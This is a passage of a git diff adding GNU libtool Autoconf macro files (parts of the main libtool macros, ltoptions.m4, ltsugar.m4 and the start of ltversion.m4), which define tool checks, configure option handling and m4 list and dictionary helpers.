[AC_CHECK_TOOL(GCJ, gcj,) + test set = "${GCJFLAGS+set}" || GCJFLAGS="-g -O2" + AC_SUBST(GCJFLAGS)])])[]dnl +]) + +# Old name: +AU_ALIAS([LT_AC_PROG_GCJ], [LT_PROG_GCJ]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([LT_AC_PROG_GCJ], []) + + +# LT_PROG_GO +# ---------- +AC_DEFUN([LT_PROG_GO], +[AC_CHECK_TOOL(GOC, gccgo,) +]) + + +# LT_PROG_RC +# ---------- +AC_DEFUN([LT_PROG_RC], +[AC_CHECK_TOOL(RC, windres,) +]) + +# Old name: +AU_ALIAS([LT_AC_PROG_RC], [LT_PROG_RC]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([LT_AC_PROG_RC], []) + + +# _LT_DECL_EGREP +# -------------- +# If we don't have a new enough Autoconf to choose the best grep +# available, choose the one first in the user's PATH. +m4_defun([_LT_DECL_EGREP], +[AC_REQUIRE([AC_PROG_EGREP])dnl +AC_REQUIRE([AC_PROG_FGREP])dnl +test -z "$GREP" && GREP=grep +_LT_DECL([], [GREP], [1], [A grep program that handles long lines]) +_LT_DECL([], [EGREP], [1], [An ERE matcher]) +_LT_DECL([], [FGREP], [1], [A literal string matcher]) +dnl Non-bleeding-edge autoconf doesn't subst GREP, so do it here too +AC_SUBST([GREP]) +]) + + +# _LT_DECL_OBJDUMP +# -------------- +# If we don't have a new enough Autoconf to choose the best objdump +# available, choose the one first in the user's PATH. +m4_defun([_LT_DECL_OBJDUMP], +[AC_CHECK_TOOL(OBJDUMP, objdump, false) +test -z "$OBJDUMP" && OBJDUMP=objdump +_LT_DECL([], [OBJDUMP], [1], [An object symbol dumper]) +AC_SUBST([OBJDUMP]) +]) + +# _LT_DECL_DLLTOOL +# ---------------- +# Ensure DLLTOOL variable is set. +m4_defun([_LT_DECL_DLLTOOL], +[AC_CHECK_TOOL(DLLTOOL, dlltool, false) +test -z "$DLLTOOL" && DLLTOOL=dlltool +_LT_DECL([], [DLLTOOL], [1], [DLL creation program]) +AC_SUBST([DLLTOOL]) +]) + +# _LT_DECL_FILECMD +# ---------------- +# Check for a file(cmd) program that can be used to detect file type and magic +m4_defun([_LT_DECL_FILECMD], +[AC_CHECK_TOOL([FILECMD], [file], [:]) +_LT_DECL([], [FILECMD], [1], [A file(cmd) program that detects file types]) +])# _LD_DECL_FILECMD + +# _LT_DECL_SED +# ------------ +# Check for a fully-functional sed program, that truncates +# as few characters as possible. Prefer GNU sed if found. +m4_defun([_LT_DECL_SED], +[AC_PROG_SED +test -z "$SED" && SED=sed +Xsed="$SED -e 1s/^X//" +_LT_DECL([], [SED], [1], [A sed program that does not truncate output]) +_LT_DECL([], [Xsed], ["\$SED -e 1s/^X//"], + [Sed that helps us avoid accidentally triggering echo(1) options like -n]) +])# _LT_DECL_SED + +m4_ifndef([AC_PROG_SED], [ +############################################################ +# NOTE: This macro has been submitted for inclusion into # +# GNU Autoconf as AC_PROG_SED. When it is available in # +# a released version of Autoconf we should remove this # +# macro and use it instead. # +############################################################ + +m4_defun([AC_PROG_SED], +[AC_MSG_CHECKING([for a sed that does not truncate output]) +AC_CACHE_VAL(lt_cv_path_SED, +[# Loop through the user's path and test for sed and gsed. +# Then use that list of sed's as ones to test for truncation. +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for lt_ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then + lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" + fi + done + done +done +IFS=$as_save_IFS +lt_ac_max=0 +lt_ac_count=0 +# Add /usr/xpg4/bin/sed as it is typically found on Solaris +# along with /bin/sed that truncates output. +for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do + test ! -f "$lt_ac_sed" && continue + cat /dev/null > conftest.in + lt_ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >conftest.in + # Check for GNU sed and select it if it is found. + if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then + lt_cv_path_SED=$lt_ac_sed + break + fi + while true; do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo >>conftest.nl + $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break + cmp -s conftest.out conftest.nl || break + # 10000 chars as input seems more than enough + test 10 -lt "$lt_ac_count" && break + lt_ac_count=`expr $lt_ac_count + 1` + if test "$lt_ac_count" -gt "$lt_ac_max"; then + lt_ac_max=$lt_ac_count + lt_cv_path_SED=$lt_ac_sed + fi + done +done +]) +SED=$lt_cv_path_SED +AC_SUBST([SED]) +AC_MSG_RESULT([$SED]) +])#AC_PROG_SED +])#m4_ifndef + +# Old name: +AU_ALIAS([LT_AC_PROG_SED], [AC_PROG_SED]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([LT_AC_PROG_SED], []) + + +# _LT_CHECK_SHELL_FEATURES +# ------------------------ +# Find out whether the shell is Bourne or XSI compatible, +# or has some other useful features. +m4_defun([_LT_CHECK_SHELL_FEATURES], +[if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + lt_unset=unset +else + lt_unset=false +fi +_LT_DECL([], [lt_unset], [0], [whether the shell understands "unset"])dnl + +# test EBCDIC or ASCII +case `echo X|tr X '\101'` in + A) # ASCII based system + # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr + lt_SP2NL='tr \040 \012' + lt_NL2SP='tr \015\012 \040\040' + ;; + *) # EBCDIC based system + lt_SP2NL='tr \100 \n' + lt_NL2SP='tr \r\n \100\100' + ;; +esac +_LT_DECL([SP2NL], [lt_SP2NL], [1], [turn spaces into newlines])dnl +_LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl +])# _LT_CHECK_SHELL_FEATURES + + +# _LT_PATH_CONVERSION_FUNCTIONS +# ----------------------------- +# Determine what file name conversion functions should be used by +# func_to_host_file (and, implicitly, by func_to_host_path). These are needed +# for certain cross-compile configurations and native mingw. +m4_defun([_LT_PATH_CONVERSION_FUNCTIONS], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +AC_MSG_CHECKING([how to convert $build file names to $host format]) +AC_CACHE_VAL(lt_cv_to_host_file_cmd, +[case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32 + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32 + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32 + ;; + esac + ;; + *-*-cygwin* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin + ;; + esac + ;; + * ) # unhandled hosts (and "normal" native builds) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; +esac +]) +to_host_file_cmd=$lt_cv_to_host_file_cmd +AC_MSG_RESULT([$lt_cv_to_host_file_cmd]) +_LT_DECL([to_host_file_cmd], [lt_cv_to_host_file_cmd], + [0], [convert $build file names to $host format])dnl + +AC_MSG_CHECKING([how to convert $build file names to toolchain format]) +AC_CACHE_VAL(lt_cv_to_tool_file_cmd, +[#assume ordinary cross tools, or native build. +lt_cv_to_tool_file_cmd=func_convert_file_noop +case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32 + ;; + esac + ;; +esac +]) +to_tool_file_cmd=$lt_cv_to_tool_file_cmd +AC_MSG_RESULT([$lt_cv_to_tool_file_cmd]) +_LT_DECL([to_tool_file_cmd], [lt_cv_to_tool_file_cmd], + [0], [convert $build files to toolchain format])dnl +])# _LT_PATH_CONVERSION_FUNCTIONS diff --git a/m4/ltoptions.m4 b/m4/ltoptions.m4 new file mode 100644 index 00000000..b0b5e9c2 --- /dev/null +++ b/m4/ltoptions.m4 @@ -0,0 +1,437 @@ +# Helper functions for option handling. -*- Autoconf -*- +# +# Copyright (C) 2004-2005, 2007-2009, 2011-2019, 2021-2022 Free +# Software Foundation, Inc. +# Written by Gary V. Vaughan, 2004 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 8 ltoptions.m4 + +# This is to help aclocal find these macros, as it can't see m4_define. +AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])]) + + +# _LT_MANGLE_OPTION(MACRO-NAME, OPTION-NAME) +# ------------------------------------------ +m4_define([_LT_MANGLE_OPTION], +[[_LT_OPTION_]m4_bpatsubst($1__$2, [[^a-zA-Z0-9_]], [_])]) + + +# _LT_SET_OPTION(MACRO-NAME, OPTION-NAME) +# --------------------------------------- +# Set option OPTION-NAME for macro MACRO-NAME, and if there is a +# matching handler defined, dispatch to it. Other OPTION-NAMEs are +# saved as a flag. +m4_define([_LT_SET_OPTION], +[m4_define(_LT_MANGLE_OPTION([$1], [$2]))dnl +m4_ifdef(_LT_MANGLE_DEFUN([$1], [$2]), + _LT_MANGLE_DEFUN([$1], [$2]), + [m4_warning([Unknown $1 option '$2'])])[]dnl +]) + + +# _LT_IF_OPTION(MACRO-NAME, OPTION-NAME, IF-SET, [IF-NOT-SET]) +# ------------------------------------------------------------ +# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. +m4_define([_LT_IF_OPTION], +[m4_ifdef(_LT_MANGLE_OPTION([$1], [$2]), [$3], [$4])]) + + +# _LT_UNLESS_OPTIONS(MACRO-NAME, OPTION-LIST, IF-NOT-SET) +# ------------------------------------------------------- +# Execute IF-NOT-SET unless all options in OPTION-LIST for MACRO-NAME +# are set. +m4_define([_LT_UNLESS_OPTIONS], +[m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), + [m4_ifdef(_LT_MANGLE_OPTION([$1], _LT_Option), + [m4_define([$0_found])])])[]dnl +m4_ifdef([$0_found], [m4_undefine([$0_found])], [$3 +])[]dnl +]) + + +# _LT_SET_OPTIONS(MACRO-NAME, OPTION-LIST) +# ---------------------------------------- +# OPTION-LIST is a space-separated list of Libtool options associated +# with MACRO-NAME. If any OPTION has a matching handler declared with +# LT_OPTION_DEFINE, dispatch to that macro; otherwise complain about +# the unknown option and exit. +m4_defun([_LT_SET_OPTIONS], +[# Set options +m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), + [_LT_SET_OPTION([$1], _LT_Option)]) + +m4_if([$1],[LT_INIT],[ + dnl + dnl Simply set some default values (i.e off) if boolean options were not + dnl specified: + _LT_UNLESS_OPTIONS([LT_INIT], [dlopen], [enable_dlopen=no + ]) + _LT_UNLESS_OPTIONS([LT_INIT], [win32-dll], [enable_win32_dll=no + ]) + dnl + dnl If no reference was made to various pairs of opposing options, then + dnl we run the default mode handler for the pair. For example, if neither + dnl 'shared' nor 'disable-shared' was passed, we enable building of shared + dnl archives by default: + _LT_UNLESS_OPTIONS([LT_INIT], [shared disable-shared], [_LT_ENABLE_SHARED]) + _LT_UNLESS_OPTIONS([LT_INIT], [static disable-static], [_LT_ENABLE_STATIC]) + _LT_UNLESS_OPTIONS([LT_INIT], [pic-only no-pic], [_LT_WITH_PIC]) + _LT_UNLESS_OPTIONS([LT_INIT], [fast-install disable-fast-install], + [_LT_ENABLE_FAST_INSTALL]) + _LT_UNLESS_OPTIONS([LT_INIT], [aix-soname=aix aix-soname=both aix-soname=svr4], + [_LT_WITH_AIX_SONAME([aix])]) + ]) +])# _LT_SET_OPTIONS + + +## --------------------------------- ## +## Macros to handle LT_INIT options. ## +## --------------------------------- ## + +# _LT_MANGLE_DEFUN(MACRO-NAME, OPTION-NAME) +# ----------------------------------------- +m4_define([_LT_MANGLE_DEFUN], +[[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1__$2]), [[^A-Z0-9_]], [_])]) + + +# LT_OPTION_DEFINE(MACRO-NAME, OPTION-NAME, CODE) +# ----------------------------------------------- +m4_define([LT_OPTION_DEFINE], +[m4_define(_LT_MANGLE_DEFUN([$1], [$2]), [$3])[]dnl +])# LT_OPTION_DEFINE + + +# dlopen +# ------ +LT_OPTION_DEFINE([LT_INIT], [dlopen], [enable_dlopen=yes +]) + +AU_DEFUN([AC_LIBTOOL_DLOPEN], +[_LT_SET_OPTION([LT_INIT], [dlopen]) +AC_DIAGNOSE([obsolete], +[$0: Remove this warning and the call to _LT_SET_OPTION when you +put the 'dlopen' option into LT_INIT's first parameter.]) +]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], []) + + +# win32-dll +# --------- +# Declare package support for building win32 dll's. +LT_OPTION_DEFINE([LT_INIT], [win32-dll], +[enable_win32_dll=yes + +case $host in +*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-cegcc*) + AC_CHECK_TOOL(AS, as, false) + AC_CHECK_TOOL(DLLTOOL, dlltool, false) + AC_CHECK_TOOL(OBJDUMP, objdump, false) + ;; +esac + +test -z "$AS" && AS=as +_LT_DECL([], [AS], [1], [Assembler program])dnl + +test -z "$DLLTOOL" && DLLTOOL=dlltool +_LT_DECL([], [DLLTOOL], [1], [DLL creation program])dnl + +test -z "$OBJDUMP" && OBJDUMP=objdump +_LT_DECL([], [OBJDUMP], [1], [Object dumper program])dnl +])# win32-dll + +AU_DEFUN([AC_LIBTOOL_WIN32_DLL], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +_LT_SET_OPTION([LT_INIT], [win32-dll]) +AC_DIAGNOSE([obsolete], +[$0: Remove this warning and the call to _LT_SET_OPTION when you +put the 'win32-dll' option into LT_INIT's first parameter.]) +]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], []) + + +# _LT_ENABLE_SHARED([DEFAULT]) +# ---------------------------- +# implement the --enable-shared flag, and supports the 'shared' and +# 'disable-shared' LT_INIT options. +# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'. +m4_define([_LT_ENABLE_SHARED], +[m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl +AC_ARG_ENABLE([shared], + [AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@], + [build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS=$lt_save_ifs + ;; + esac], + [enable_shared=]_LT_ENABLE_SHARED_DEFAULT) + + _LT_DECL([build_libtool_libs], [enable_shared], [0], + [Whether or not to build shared libraries]) +])# _LT_ENABLE_SHARED + +LT_OPTION_DEFINE([LT_INIT], [shared], [_LT_ENABLE_SHARED([yes])]) +LT_OPTION_DEFINE([LT_INIT], [disable-shared], [_LT_ENABLE_SHARED([no])]) + +# Old names: +AC_DEFUN([AC_ENABLE_SHARED], +[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[shared]) +]) + +AC_DEFUN([AC_DISABLE_SHARED], +[_LT_SET_OPTION([LT_INIT], [disable-shared]) +]) + +AU_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) +AU_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AM_ENABLE_SHARED], []) +dnl AC_DEFUN([AM_DISABLE_SHARED], []) + + + +# _LT_ENABLE_STATIC([DEFAULT]) +# ---------------------------- +# implement the --enable-static flag, and support the 'static' and +# 'disable-static' LT_INIT options. +# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'. +m4_define([_LT_ENABLE_STATIC], +[m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl +AC_ARG_ENABLE([static], + [AS_HELP_STRING([--enable-static@<:@=PKGS@:>@], + [build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS=$lt_save_ifs + ;; + esac], + [enable_static=]_LT_ENABLE_STATIC_DEFAULT) + + _LT_DECL([build_old_libs], [enable_static], [0], + [Whether or not to build static libraries]) +])# _LT_ENABLE_STATIC + +LT_OPTION_DEFINE([LT_INIT], [static], [_LT_ENABLE_STATIC([yes])]) +LT_OPTION_DEFINE([LT_INIT], [disable-static], [_LT_ENABLE_STATIC([no])]) + +# Old names: +AC_DEFUN([AC_ENABLE_STATIC], +[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[static]) +]) + +AC_DEFUN([AC_DISABLE_STATIC], +[_LT_SET_OPTION([LT_INIT], [disable-static]) +]) + +AU_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) +AU_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AM_ENABLE_STATIC], []) +dnl AC_DEFUN([AM_DISABLE_STATIC], []) + + + +# _LT_ENABLE_FAST_INSTALL([DEFAULT]) +# ---------------------------------- +# implement the --enable-fast-install flag, and support the 'fast-install' +# and 'disable-fast-install' LT_INIT options. +# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'. +m4_define([_LT_ENABLE_FAST_INSTALL], +[m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl +AC_ARG_ENABLE([fast-install], + [AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], + [optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS=$lt_save_ifs + ;; + esac], + [enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT) + +_LT_DECL([fast_install], [enable_fast_install], [0], + [Whether or not to optimize for fast installation])dnl +])# _LT_ENABLE_FAST_INSTALL + +LT_OPTION_DEFINE([LT_INIT], [fast-install], [_LT_ENABLE_FAST_INSTALL([yes])]) +LT_OPTION_DEFINE([LT_INIT], [disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])]) + +# Old names: +AU_DEFUN([AC_ENABLE_FAST_INSTALL], +[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[fast-install]) +AC_DIAGNOSE([obsolete], +[$0: Remove this warning and the call to _LT_SET_OPTION when you put +the 'fast-install' option into LT_INIT's first parameter.]) +]) + +AU_DEFUN([AC_DISABLE_FAST_INSTALL], +[_LT_SET_OPTION([LT_INIT], [disable-fast-install]) +AC_DIAGNOSE([obsolete], +[$0: Remove this warning and the call to _LT_SET_OPTION when you put +the 'disable-fast-install' option into LT_INIT's first parameter.]) +]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], []) +dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], []) + + +# _LT_WITH_AIX_SONAME([DEFAULT]) +# ---------------------------------- +# implement the --with-aix-soname flag, and support the `aix-soname=aix' +# and `aix-soname=both' and `aix-soname=svr4' LT_INIT options. DEFAULT +# is either `aix', `both' or `svr4'. If omitted, it defaults to `aix'. +m4_define([_LT_WITH_AIX_SONAME], +[m4_define([_LT_WITH_AIX_SONAME_DEFAULT], [m4_if($1, svr4, svr4, m4_if($1, both, both, aix))])dnl +shared_archive_member_spec= +case $host,$enable_shared in +power*-*-aix[[5-9]]*,yes) + AC_MSG_CHECKING([which variant of shared library versioning to provide]) + AC_ARG_WITH([aix-soname], + [AS_HELP_STRING([--with-aix-soname=aix|svr4|both], + [shared library versioning (aka "SONAME") variant to provide on AIX, @<:@default=]_LT_WITH_AIX_SONAME_DEFAULT[@:>@.])], + [case $withval in + aix|svr4|both) + ;; + *) + AC_MSG_ERROR([Unknown argument to --with-aix-soname]) + ;; + esac + lt_cv_with_aix_soname=$with_aix_soname], + [AC_CACHE_VAL([lt_cv_with_aix_soname], + [lt_cv_with_aix_soname=]_LT_WITH_AIX_SONAME_DEFAULT) + with_aix_soname=$lt_cv_with_aix_soname]) + AC_MSG_RESULT([$with_aix_soname]) + if test aix != "$with_aix_soname"; then + # For the AIX way of multilib, we name the shared archive member + # based on the bitwidth used, traditionally 'shr.o' or 'shr_64.o', + # and 'shr.imp' or 'shr_64.imp', respectively, for the Import File. + # Even when GNU compilers ignore OBJECT_MODE but need '-maix64' flag, + # the AIX toolchain works better with OBJECT_MODE set (default 32). + if test 64 = "${OBJECT_MODE-32}"; then + shared_archive_member_spec=shr_64 + else + shared_archive_member_spec=shr + fi + fi + ;; +*) + with_aix_soname=aix + ;; +esac + +_LT_DECL([], [shared_archive_member_spec], [0], + [Shared archive member basename, for filename based shared library versioning on AIX])dnl +])# _LT_WITH_AIX_SONAME + +LT_OPTION_DEFINE([LT_INIT], [aix-soname=aix], [_LT_WITH_AIX_SONAME([aix])]) +LT_OPTION_DEFINE([LT_INIT], [aix-soname=both], [_LT_WITH_AIX_SONAME([both])]) +LT_OPTION_DEFINE([LT_INIT], [aix-soname=svr4], [_LT_WITH_AIX_SONAME([svr4])]) + + +# _LT_WITH_PIC([MODE]) +# -------------------- +# implement the --with-pic flag, and support the 'pic-only' and 'no-pic' +# LT_INIT options. +# MODE is either 'yes' or 'no'. If omitted, it defaults to 'both'. +m4_define([_LT_WITH_PIC], +[AC_ARG_WITH([pic], + [AS_HELP_STRING([--with-pic@<:@=PKGS@:>@], + [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], + [lt_p=${PACKAGE-default} + case $withval in + yes|no) pic_mode=$withval ;; + *) + pic_mode=default + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for lt_pkg in $withval; do + IFS=$lt_save_ifs + if test "X$lt_pkg" = "X$lt_p"; then + pic_mode=yes + fi + done + IFS=$lt_save_ifs + ;; + esac], + [pic_mode=m4_default([$1], [default])]) + +_LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl +])# _LT_WITH_PIC + +LT_OPTION_DEFINE([LT_INIT], [pic-only], [_LT_WITH_PIC([yes])]) +LT_OPTION_DEFINE([LT_INIT], [no-pic], [_LT_WITH_PIC([no])]) + +# Old name: +AU_DEFUN([AC_LIBTOOL_PICMODE], +[_LT_SET_OPTION([LT_INIT], [pic-only]) +AC_DIAGNOSE([obsolete], +[$0: Remove this warning and the call to _LT_SET_OPTION when you +put the 'pic-only' option into LT_INIT's first parameter.]) +]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_PICMODE], []) + +## ----------------- ## +## LTDL_INIT Options ## +## ----------------- ## + +m4_define([_LTDL_MODE], []) +LT_OPTION_DEFINE([LTDL_INIT], [nonrecursive], + [m4_define([_LTDL_MODE], [nonrecursive])]) +LT_OPTION_DEFINE([LTDL_INIT], [recursive], + [m4_define([_LTDL_MODE], [recursive])]) +LT_OPTION_DEFINE([LTDL_INIT], [subproject], + [m4_define([_LTDL_MODE], [subproject])]) + +m4_define([_LTDL_TYPE], []) +LT_OPTION_DEFINE([LTDL_INIT], [installable], + [m4_define([_LTDL_TYPE], [installable])]) +LT_OPTION_DEFINE([LTDL_INIT], [convenience], + [m4_define([_LTDL_TYPE], [convenience])]) diff --git a/m4/ltsugar.m4 b/m4/ltsugar.m4 new file mode 100644 index 00000000..902508bd --- /dev/null +++ b/m4/ltsugar.m4 @@ -0,0 +1,124 @@ +# ltsugar.m4 -- libtool m4 base layer. -*-Autoconf-*- +# +# Copyright (C) 2004-2005, 2007-2008, 2011-2019, 2021-2022 Free Software +# Foundation, Inc. +# Written by Gary V. Vaughan, 2004 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 6 ltsugar.m4 + +# This is to help aclocal find these macros, as it can't see m4_define. +AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])]) + + +# lt_join(SEP, ARG1, [ARG2...]) +# ----------------------------- +# Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their +# associated separator. +# Needed until we can rely on m4_join from Autoconf 2.62, since all earlier +# versions in m4sugar had bugs. +m4_define([lt_join], +[m4_if([$#], [1], [], + [$#], [2], [[$2]], + [m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])]) +m4_define([_lt_join], +[m4_if([$#$2], [2], [], + [m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])]) + + +# lt_car(LIST) +# lt_cdr(LIST) +# ------------ +# Manipulate m4 lists. +# These macros are necessary as long as will still need to support +# Autoconf-2.59, which quotes differently. +m4_define([lt_car], [[$1]]) +m4_define([lt_cdr], +[m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])], + [$#], 1, [], + [m4_dquote(m4_shift($@))])]) +m4_define([lt_unquote], $1) + + +# lt_append(MACRO-NAME, STRING, [SEPARATOR]) +# ------------------------------------------ +# Redefine MACRO-NAME to hold its former content plus 'SEPARATOR''STRING'. +# Note that neither SEPARATOR nor STRING are expanded; they are appended +# to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked). +# No SEPARATOR is output if MACRO-NAME was previously undefined (different +# than defined and empty). +# +# This macro is needed until we can rely on Autoconf 2.62, since earlier +# versions of m4sugar mistakenly expanded SEPARATOR but not STRING. +m4_define([lt_append], +[m4_define([$1], + m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])]) + + + +# lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...]) +# ---------------------------------------------------------- +# Produce a SEP delimited list of all paired combinations of elements of +# PREFIX-LIST with SUFFIX1 through SUFFIXn. Each element of the list +# has the form PREFIXmINFIXSUFFIXn. +# Needed until we can rely on m4_combine added in Autoconf 2.62. +m4_define([lt_combine], +[m4_if(m4_eval([$# > 3]), [1], + [m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl +[[m4_foreach([_Lt_prefix], [$2], + [m4_foreach([_Lt_suffix], + ]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[, + [_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])]) + + +# lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ]) +# ----------------------------------------------------------------------- +# Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited +# by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ. +m4_define([lt_if_append_uniq], +[m4_ifdef([$1], + [m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1], + [lt_append([$1], [$2], [$3])$4], + [$5])], + [lt_append([$1], [$2], [$3])$4])]) + + +# lt_dict_add(DICT, KEY, VALUE) +# ----------------------------- +m4_define([lt_dict_add], +[m4_define([$1($2)], [$3])]) + + +# lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE) +# -------------------------------------------- +m4_define([lt_dict_add_subkey], +[m4_define([$1($2:$3)], [$4])]) + + +# lt_dict_fetch(DICT, KEY, [SUBKEY]) +# ---------------------------------- +m4_define([lt_dict_fetch], +[m4_ifval([$3], + m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]), + m4_ifdef([$1($2)], [m4_defn([$1($2)])]))]) + + +# lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE]) +# ----------------------------------------------------------------- +m4_define([lt_if_dict_fetch], +[m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4], + [$5], + [$6])]) + + +# lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...]) +# -------------------------------------------------------------- +m4_define([lt_dict_filter], +[m4_if([$5], [], [], + [lt_join(m4_quote(m4_default([$4], [[, ]])), + lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]), + [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl +]) diff --git a/m4/ltversion.m4 b/m4/ltversion.m4 new file mode 100644 index 00000000..0026c21c --- /dev/null +++ b/m4/ltversion.m4 @@ -0,0 +1,24 @@ +# ltversion.m4 -- version numbers -*- Autoconf -*- +# +# Copyright (C) 2004, 2011-2019, 2021-2022 Free Software Foundation, +# Inc. +# Written by Scott James Remnant, 2004 +# +# This file is free software; the Free Software Foundation gives 